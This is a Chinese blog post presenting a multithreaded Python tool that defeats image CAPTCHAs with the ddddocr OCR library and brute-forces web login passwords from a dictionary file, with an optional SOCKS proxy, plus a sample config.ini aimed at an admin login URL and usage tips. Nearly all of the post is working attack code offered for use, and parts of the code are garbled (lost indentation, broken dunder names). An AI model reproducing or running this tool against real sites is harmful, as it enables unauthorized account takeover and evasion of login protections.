51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

验证码识别爆破多线程Python版

验证码识别爆破多线程Python版

脚本代码

import requests,threading,base64,argparse,datetime,ddddocr,imghdr,configparser,os,ast
from queue import Queue
from tqdm import tqdm
class scan:
def save(self,data):
f = open('log.txt', 'a',encoding='utf-8')
f.write(data + '\n')
f.close()
`def _ocr(self,img):
    if imghdr.what(None,img) is not None:
        ocr = ddddocr.DdddOcr(show_ad=False)
        res = ocr.classification( img )
        return res
    else:
        tqdm.write("%s [ERROR] 请求验证码内容返回非图片格式,请检查!"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')))
        exit()

def captcha(self,captcha_url,proxy,captcha_header): try: if proxy: if captcha_header: req = requests.get(captcha_url, headers=ast.literal_eval(captcha_header), proxies=proxy, verify=False) else: req = requests.get(captcha_url, proxies=proxy, verify=False) else: if captcha_header: req = requests.get(captcha_url, headers=ast.literal_eval(captcha_header), verify=False) else: req = requests.get(captcha_url, verify=False)

    img_captcha = self._ocr( req.content )
    cookies = requests.utils.dict_from_cookiejar(req.cookies)
    cookie = "; ".join([str(x)+"="+str(y) for x,y in cookies.items()])
    if cookie and img_captcha:
        return cookie,img_captcha
    else:
        return ''

except Exception as e: return ''

def login(self,url,yzm,data_list,cookie,proxy,post_data,post_header): try: cookies = {"Cookie": cookie} if post_header: cookies.update(ast.literal_eval(post_header)) datas = post_data.replace('mrwu_pass', data_list).replace('mrwu_yzm', yzm) if proxy: data = requests.post(url,ast.literal_eval(datas), headers=cookies, proxies=proxy, verify=False) else: data = requests.post(url,ast.literal_eval(datas), headers=cookies, verify=False) if data.status_code and data.text: return data.status_code,data.text else: return '' except Exception as e: return ''

def go(self,url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header): try: yzm = self.captcha(captcha_url,proxy,captcha_header)

    stusts = self.login(url,yzm[1],data_list,yzm[0],proxy,post_data,post_header)
res = [ele for ele in jg if(ele in str(stusts) or ele in str(stusts[0]))]

if "验证码错误" in str(stusts) and "谷歌验证码" not in str(stusts): #验证码错误判断且自动重试,如果返回包正确也会出现验证码错误四个字的话,请重新定义判断的字符串
    self.go(url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header) # 验证码错误重试

elif bool(res) == False:
    if len(str(stusts[1])) <= 50: #设定响应包长度小于等于50才打印响应包结果,如果需要显示更长的响应包,自行修改前面的数值
        tqdm.write("%s [INFO]  %s  ###  响应结果:%s"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),data_list,str(stusts[1])))
    else:
        self.save(data_list + " ### " + str(stusts[1]))
        tqdm.write("%s [INFO]  %s  ###  响应结果:响应包太大已关闭显示,请查看log.txt文件"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),data_list))

if str(stusts[0]):
    return str(stusts[0])

except: self.go(url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header)

` class set: def banner(self): print(''' _ _

| | | |

___ __ _ _ __ | |_ | | __ _ __ _ ___
/ __/ | '_ \| __/ __| '_ \ / _ | / ` |/ _ \ | (| (| | |) | || (| | | | (| | | (| | () | __,| ./ || ||,| , |/ | | / |
|| |
/ `Author:MrWu feedback:https://mrwu.red/fenxiang/4090.html
''') def args(self): parser = argparse.ArgumentParser() parser.add_argument('-d','--data', nargs='+',default='', required=True,help="排除的结果关键词或者响应状态码,2者可一起用,空格分割") parser.add_argument('-t','--threads', type=int, default=20, required=True,help="指定线程数") parser.add_argument('-s','--socks', type=int, default=2,help="-s 1 启用代理") parser.add_argument('-z','--header', type=int, default=2,help="-h 1 启用请求头") args = parser.parse_args() return args

def get_config(self): root_dir = os.path.dirname(file) config_dir = os.path.join(root_dir, 'config.ini') cf = configparser.ConfigParser() cf.read(config_dir, encoding="utf-8") post_url = cf.get('url', 'post_url') captcha_url = cf.get('url', 'captcha_url') dict_txt = cf.get('dict', 'txt') post_data = cf.get('post_data', 'data') proxy = cf.get('proxy', 'dl') post_header = cf.get('header', 'post_header') captcha_header = cf.get('header', 'captcha_header') if post_url and captcha_url and dict_txt and post_data: return post_url,captcha_url,dict_txt,post_data,proxy,post_header,captcha_header else: tqdm.write("提示: 请检查脚本同目录下的config.ini文件中的配置是否正确!")

def open_data(self,txt): data_list = [] with open(txt, 'r', encoding='utf-8') as f: for line in f: data_list.append(line.replace("\n", "")) return data_list

def burst(self,data): while not txt.empty(): txt.get() home = scan() pbar.set_description("状态码: %s"%( home.go(data[0],data[1],txt.get(),data[2],data[3],data[4],data[5],data[6]) )) pbar.update(1) if len(threading.enumerate()) == 3: tqdm.write("%s [OK] 所有任务已全部完成!\n"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))) if name == 'main': info = set() info.banner() try: data = info.args().data post_url = info.get_config()[0] captcha_url = info.get_config()[1] post_data = info.get_config()[3] proxy = info.get_config()[4] post_header = info.get_config()[5] captcha_header = info.get_config()[6] if info.args().socks == 1: if proxy: proxys = {'http': proxy,'https': proxy} else: print("请配置 config.ini 文件中的代理设置!") exit() else: proxys = []

if info.args().header == 1:
    if post_header or captcha_header:
        post_header = post_header
        captcha_header = captcha_header
    else:
        print("请配置 config.ini 文件中的请求头设置!")
        exit()
else:
    post_header = ''
    captcha_header = ''

txt = Queue() for x in info.open_data( info.get_config()[2] ): txt.put(x)

pbar = tqdm(total=txt.qsize(), desc='任务开始',colour='#00ff00', position=0, ncols=75)

threads = [] data1 = post_url,captcha_url,data,proxys,post_data,post_header,captcha_header

for i in range(int(info.args().threads) + 1): t = threading.Thread(target = info.burst,args=(data1,)) threads.append(t)

for t in threads: t.start()

except: print("异常报错,请检查confing.ini 文件") `

脚本配置文件(名字必须为 config.ini 和脚本放在同一目录下)

[url]
#数据提交接受地址
post_url = https://mrwu.red/admin/login/getloginda.html
#验证码地址
captcha_url = https://mrwu.red/captcha.html
[header]
#数据提交请求头 注意,这里不能添加cookie 头,会覆盖导致验证码失效,如果要添加需要修改代码
post_header = {"Referer":"https://mrwu.red"}
#验证码请求头
captcha_header = {'Referer':'https://mrwu.red',}
[post_data]
#数据结构 mrwu_pass 变量是密码字典   mrwu_yzm 变量是验证码   自行将这2个变量填入到你的数据结构中
data = {"name":"mrwu_pass","password":'123456',"verify":"mrwu_yzm","googleCode":""}
[dict]
#爆破字典配置
txt = F:\BaiduSyncdisk\pass\username.txt
[proxy]
dl = socks5://127.0.0.1:7899

说明

  • 如果遇到目标站请求需要效验某个Cookie时,将代码做如下改动即可:

cookies = {"Cookie": cookie"}

改为:

cookies = {"Cookie": cookie + ";UTH_cookietime=2592000;"}

其中 UTH_cookietime=2592000 是个例子,注意前后的分号


  • -s 1 表示启用代理,不加则不启用
  • -z 1 表示启用自定义状态头请求,不加则不启用
  • -d 排除的返回包数据特征或者状态码都可以,多个内容用空格分开
  • config.ini 配置文件记得以 UTF-8 的编码格式修改保存,否则可能出问题!
  • 提示 请求验证码内容返回非图片格式,请检查 或 图片类型无法识别报错

这种情况要么是验证码没有返回图片格式要么就是 ddddocr 识别不了你的图片,前者可以自行检查为什么返回包不是图片格式,后者可以自行重写 _ocr 函数,比如遇到那种需要点文字或者拖拽的验证码,ddddocr 好像也是支持的,只需要自行百度看下别人的参考代码,然后把代码复制替换 _ocr 函数中的代码,最后 return 输出验证码识别结果就行了。

差不多就这样吧,之前有大佬分享过一款基于 BP 插件的 验证码识别工具,同样也是基于 ddddocr ,之所以再造炉子是因为他那个只能单线程,速度太慢了,而且 BP 爆破其他的也莫名的慢,不知道是不是我 BP 版本的问题;

这个小脚本目前已经完全满足我所需,等以后遇到新的问题在完善吧,如果使用过程中有遇到什么问题可以在本文下留言,随缘回复~
最后恭喜各位又老了一岁~

赞(4)
未经允许不得转载:工具盒子 » 验证码识别爆破多线程Python版